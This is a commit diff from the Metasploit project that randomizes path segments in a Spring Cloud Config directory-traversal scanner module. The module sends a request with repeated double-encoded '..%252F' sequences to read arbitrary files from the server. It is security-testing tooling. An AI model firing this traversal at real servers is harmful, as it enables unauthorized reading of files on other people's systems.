Randomize application and profile

rapid7 · Apr 26, 2019 · 306b0fd · 306b0fd
1 parent 96cb5ce
commit 306b0fd
Showing 1 changed file with 6 additions and 1 deletion.
diff --git a/modules/auxiliary/scanner/http/springcloud_traversal.rb b/modules/auxiliary/scanner/http/springcloud_traversal.rb
@@ -39,13 +39,18 @@ def initialize(info = {})
       ])
   end
 
+  def data
+    Rex::Text.rand_text_alpha(3..8)
+  end
+
   def run_host(ip)
     filename = datastore['FILEPATH']
     traversal = "#{"..%252F" * datastore['DEPTH']}#{filename}"
+    uri = "/#{data}/#{data}/master/#{traversal}"
 
     res = send_request_raw({
       'method' => 'GET',
-      'uri'    => "/foo/default/master/#{traversal}"
+      'uri'    => uri
     })
 
     unless res && res.code == 200